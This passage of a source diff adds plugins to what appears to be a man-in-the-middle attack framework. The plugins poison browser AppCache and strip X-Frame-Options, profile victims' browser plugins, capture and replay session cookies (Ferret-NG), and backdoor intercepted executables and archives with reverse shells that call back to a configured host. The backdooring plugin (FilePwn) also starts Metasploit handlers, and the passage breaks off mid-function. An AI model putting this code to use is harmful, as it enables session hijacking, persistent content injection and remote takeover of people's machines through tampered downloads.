self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.app_config:
|
||||
regexp = self.app_config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo)
|
||||
p = self.getTemplatePrefix(s)
|
||||
|
||||
if element == 'tamper':
|
||||
self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||
browser_id = ip + req_headers.get("user-agent", "")
|
||||
|
||||
if not 'mass_poison_url_match' in self.app_config: # no url
|
||||
return data
|
||||
if browser_id in self.mass_poisoned_browsers: #already poisoned
|
||||
return data
|
||||
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
|
||||
return data
|
||||
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
|
||||
return data
|
||||
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
|
||||
return data
|
||||
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
|
||||
return data
|
||||
|
||||
self.clientlog.debug("Adding AppCache mass poison for URL {}, id {}".format(url, browser_id), extra=request.clientInfo)
|
||||
appendix = self.getMassPoisonHtml()
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
|
||||
return data
|
||||
|
||||
def getMassPoisonHtml(self):
|
||||
html = "<div style=\"position:absolute;left:-100px\">"
|
||||
for i in self.app_config:
|
||||
if isinstance(self.app_config[i], dict):
|
||||
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
|
||||
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
|
||||
|
||||
return html + "</div>"
|
||||
|
||||
def cacheForFuture(self, headers):
|
||||
ten_years = 315569260
|
||||
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
|
||||
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
|
||||
in_ten_years = date.fromtimestamp(time.time() + ten_years)
|
||||
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
|
||||
|
||||
def removeDangerousHeaders(self, headers):
|
||||
headers.removeHeader("X-Frame-Options")
|
||||
|
||||
def getSpoofedManifest(self, url, section):
|
||||
p = self.getTemplatePrefix(section)
|
||||
if not os.path.exists(p+'.manifest'):
|
||||
p = self.getDefaultTemplatePrefix()
|
||||
|
||||
f = open(p + '.manifest', 'r')
|
||||
manifest = f.read()
|
||||
f.close()
|
||||
return self.decorate(manifest, section)
|
||||
|
||||
def decorate(self, content, section):
|
||||
for i in section:
|
||||
content = content.replace("%%"+i+"%%", section[i])
|
||||
return content
|
||||
|
||||
def getTemplatePrefix(self, section):
|
||||
if section.has_key('templates'):
|
||||
return self.app_config['templates_path'] + '/' + section['templates']
|
||||
|
||||
return self.getDefaultTemplatePrefix()
|
||||
|
||||
def getDefaultTemplatePrefix(self):
|
||||
return self.app_config['templates_path'] + '/default'
|
||||
|
||||
def getManifestUrl(self, section):
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
||||
def getSectionForUrls(self, urls):
|
||||
for url in urls:
|
||||
for i in self.app_config:
|
||||
if isinstance(self.app_config[i], dict): #section
|
||||
section = self.app_config[i]
|
||||
name = i
|
||||
|
||||
if section.get('tamper_url',False) == url:
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.get('manifest_url',False) == url:
|
||||
return (name, section, 'manifest',url)
|
||||
|
||||
if section.get('raw_url',False) == url:
|
||||
return (name, section, 'raw',url)
|
||||
|
||||
return (None, False,'',urls.copy().pop())
|
45
plugins/browserprofiler.py
Normal file
45
plugins/browserprofiler.py
Normal file
@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import json
|
||||
|
||||
from pprint import pformat
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class BrowserProfiler(Inject, Plugin):
|
||||
name = "BrowserProfiler"
|
||||
optname = "browserprofiler"
|
||||
desc = "Attempts to enumerate all browser plugins of connected clients"
|
||||
version = "0.3"
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_file = "./core/javascript/plugindetect.js"
|
||||
self.output = {} # so other plugins can access the results
|
||||
|
||||
def request(self, request):
|
||||
if (request.command == 'POST') and ('clientprfl' in request.uri):
|
||||
request.handle_post_output = True
|
||||
self.output = json.loads(request.postData)
|
||||
pretty_output = pformat(self.output)
|
||||
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
100
plugins/ferretng.py
Normal file
100
plugins/ferretng.py
Normal file
@ -0,0 +1,100 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import json
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
632
plugins/filepwn.py
Normal file
632
plugins/filepwn.py
Normal file
@ -0,0 +1,632 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
#--------------------------------------------------------------------------------#
|
||||
|
||||
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||
#
|
||||
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
||||
#
|
||||
# Copyright (c) 2013-2014, Joshua Pitts
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification,
|
||||
# are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice,
|
||||
# this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||
# may be used to endorse or promote products derived from this software without
|
||||
# specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
# POSSIBILITY OF SUCH DAMAGE.
|
||||
#
|
||||
# Tested on Kali-Linux. (and Arch Linux)
|
||||
|
||||
import sys
|
||||
import os
|
||||
import pefile
|
||||
import zipfile
|
||||
import logging
|
||||
import shutil
|
||||
import random
|
||||
import string
|
||||
import threading
|
||||
import multiprocessing
|
||||
import tarfile
|
||||
|
||||
from libs.bdfactory import pebin
|
||||
from libs.bdfactory import elfbin
|
||||
from libs.bdfactory import machobin
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from tempfile import mkstemp
|
||||
|
||||
class FilePwn(Plugin):
|
||||
name = "FilePwn"
|
||||
optname = "filepwn"
|
||||
desc = "Backdoor executables being sent over http using bdfactory"
|
||||
tree_info = ["BDFProxy v0.3.2 online"]
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
|
||||
self.patched = multiprocessing.Queue()
|
||||
|
||||
from core.msfrpc import Msf
|
||||
self.msf = Msf()
|
||||
|
||||
#FOR FUTURE USE
|
||||
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
|
||||
|
||||
#FOR FUTURE USE
|
||||
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
|
||||
|
||||
#USED NOW
|
||||
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
|
||||
'pe': {'number': 'MZ', 'offset': 0},
|
||||
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
|
||||
'bz': {'number': 'BZ', 'offset': 0},
|
||||
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
|
||||
'tar': {'number': 'ustar', 'offset': 257},
|
||||
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
|
||||
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
|
||||
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
|
||||
}
|
||||
|
||||
#NOT USED NOW
|
||||
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
#FilePwn options
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
|
||||
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
|
||||
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
|
||||
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
|
||||
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
|
||||
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
|
||||
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
t = threading.Thread(name='setup_msf', target=self.setup_msf)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def setup_msf(self):
|
||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||
cmd = "use exploit/multi/handler\n"
|
||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||
cmd += "set LHOST {}\n".format(config["HOST"])
|
||||
cmd += "set LPORT {}\n".format(config["PORT"])
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
self.msf.sendcommand(cmd)
|
||||
|
||||
def on_config_change(self):
|
||||
self.initialize(self.options)
|
||||
|
||||
def convert_to_Bool(self, aString):
|
||||
if aString.lower() == 'true':
|
||||
return True
|
||||
elif aString.lower() == 'false':
|
||||
return False
|
||||
elif aString.lower() == 'none':
|
||||
return None
|
||||
|
||||
def bytes_have_format(self, bytess, formatt):
|
||||
number = self.magicNumbers[formatt]
|
||||
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
|
||||
return True
|
||||
return False
|
||||
|
||||
def binaryGrinder(self, binaryFile):
|
||||
"""
|
||||
Feed potential binaries into this function,
|
||||
it will return the result PatchedBinary, False, or None
|
||||
"""
|
||||
|
||||
with open(binaryFile, 'r+b') as f:
|
||||
binaryTMPHandle = f.read()
|
||||
|
||||
binaryHeader = binaryTMPHandle[:4]
|
||||
result = None
|
||||
|
||||
try:
|
||||
if binaryHeader[:2] == 'MZ': # PE/COFF
|
||||
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
|
||||
magic = pe.OPTIONAL_HEADER.Magic
|
||||
machineType = pe.FILE_HEADER.Machine
|
||||
|
||||
#update when supporting more than one arch
|
||||
if (magic == int('20B', 16) and machineType == 0x8664 and
|
||||
self.WindowsType.lower() in ['all', 'x64']):
|
||||
add_section = False
|
||||
cave_jumping = False
|
||||
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
|
||||
add_section = True
|
||||
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
|
||||
cave_jumping = True
|
||||
|
||||
# if automatic override
|
||||
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
|
||||
cave_jumping = True
|
||||
|
||||
targetFile = pebin.pebin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.WindowsIntelx64['SHELL'],
|
||||
HOST=self.WindowsIntelx64['HOST'],
|
||||
PORT=int(self.WindowsIntelx64['PORT']),
|
||||
ADD_SECTION=add_section,
|
||||
CAVE_JUMPING=cave_jumping,
|
||||
IMAGE_TYPE=self.WindowsType,
|
||||
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
|
||||
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
|
||||
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
|
||||
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
|
||||
)
|
||||
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif (machineType == 0x14c and
|
||||
self.WindowsType.lower() in ['all', 'x86']):
|
||||
add_section = False
|
||||
cave_jumping = False
|
||||
#add_section wins for cave_jumping
|
||||
#default is single for BDF
|
||||
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
|
||||
add_section = True
|
||||
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
|
||||
cave_jumping = True
|
||||
|
||||
# if automatic override
|
||||
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
|
||||
cave_jumping = True
|
||||
|
||||
targetFile = pebin.pebin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.WindowsIntelx86['SHELL'],
|
||||
HOST=self.WindowsIntelx86['HOST'],
|
||||
PORT=int(self.WindowsIntelx86['PORT']),
|
||||
ADD_SECTION=add_section,
|
||||
CAVE_JUMPING=cave_jumping,
|
||||
IMAGE_TYPE=self.WindowsType,
|
||||
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
|
||||
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
|
||||
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
|
||||
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
|
||||
)
|
||||
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
|
||||
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
|
||||
targetFile.support_check()
|
||||
|
||||
if targetFile.class_type == 0x1:
|
||||
#x86CPU Type
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.LinuxIntelx86['SHELL'],
|
||||
HOST=self.LinuxIntelx86['HOST'],
|
||||
PORT=int(self.LinuxIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
|
||||
IMAGE_TYPE=self.LinuxType
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
elif targetFile.class_type == 0x2:
|
||||
#x64
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.LinuxIntelx64['SHELL'],
|
||||
HOST=self.LinuxIntelx64['HOST'],
|
||||
PORT=int(self.LinuxIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
|
||||
IMAGE_TYPE=self.LinuxType
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
|
||||
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
|
||||
targetFile.support_check()
|
||||
|
||||
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
|
||||
|
||||
if targetFile.FAT_FILE is True:
|
||||
if self.FatPriority == 'x86':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx86['SHELL'],
|
||||
HOST=self.MachoIntelx86['HOST'],
|
||||
PORT=int(self.MachoIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif self.FatPriority == 'x64':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx64['SHELL'],
|
||||
HOST=self.MachoIntelx64['HOST'],
|
||||
PORT=int(self.MachoIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx86['SHELL'],
|
||||
HOST=self.MachoIntelx86['HOST'],
|
||||
PORT=int(self.MachoIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx64['SHELL'],
|
||||
HOST=self.MachoIntelx64['HOST'],
|
||||
PORT=int(self.MachoIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
self.patched.put(result)
|
||||
return
|
||||
|
||||
except Exception as e:
|
||||
print 'Exception', str(e)
|
||||
self.log.warning("EXCEPTION IN binaryGrinder {}".format(e))
|
||||
return None
|
||||
|
||||
def tar_files(self, aTarFileBytes, formatt):
|
||||
"When called will unpack and edit a Tar File and return a tar file"
|
||||
|
||||
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
|
||||
|
||||
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
|
||||
print "[!] TarFile over allowed size"
|
||||
self.log.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
with tempfile.NamedTemporaryFile() as tarFileStorage:
|
||||
tarFileStorage.write(aTarFileBytes)
|
||||
tarFileStorage.flush()
|
||||
|
||||
if not tarfile.is_tarfile(tarFileStorage.name):
|
||||
print '[!] Not a tar file'
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
compressionMode = ':'
|
||||
if formatt == 'gz':
|
||||
compressionMode = ':gz'
|
||||
if formatt == 'bz':
|
||||
compressionMode = ':bz2'
|
||||
|
||||
tarFile = None
|
||||
try:
|
||||
tarFileStorage.seek(0)
|
||||
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
|
||||
except tarfile.ReadError:
|
||||
pass
|
||||
|
||||
if tarFile is None:
|
||||
print '[!] Not a tar file'
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
print '[*] Tar file contents and info:'
|
||||
print '[*] Compression:', formatt
|
||||
|
||||
members = tarFile.getmembers()
|
||||
for info in members:
|
||||
print "\t", info.name, info.mtime, info.size
|
||||
|
||||
newTarFileStorage = tempfile.NamedTemporaryFile()
|
||||
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
|
||||
|
||||
patchCount = 0
|
||||
wasPatched = False
|
||||
|
||||
for info in members:
|
||||
print "[*] >>> Next file in tarfile:", info.name
|
||||
|
||||
if not info.isfile():
|
||||
print info.name, 'is not a file'
|
||||
newTarFile.addfile(info, tarFile.extractfile(info))
|
||||
continue
|
||||
|
||||
if info.size >= long(self.FileSizeMax):
|
||||
print info.name, 'is too big'
|
||||
newTarFile.addfile(info, tarFile.extractfile(info))
|
||||
continue
|
||||
|
||||
# Check against keywords
|
||||
keywordCheck = False
|
||||
|
||||
if type(self.tarblacklist) is str:
|
||||
if self.tarblacklist.lower() in info.name.lower():
|
||||
keywordCheck = True
|
||||
|
||||
else:
|
||||
for keyword in self.tarblacklist:
|
||||
if keyword.lower() in info.name.lower():
|
||||
keywordCheck = True
|
||||
continue
|
||||
|
||||
if keywordCheck is True:
|
||||
print "[!] Tar blacklist enforced!"
|
||||
self.log.info('Tar blacklist enforced on {}'.format(info.name))
|
||||
continue
|
||||
|
||||
# Try to patch
|
||||
extractedFile = tarFile.extractfile(info)
|
||||
|
||||
if patchCount >= int(self.userConfig['TAR']['patchCount']):
|
||||
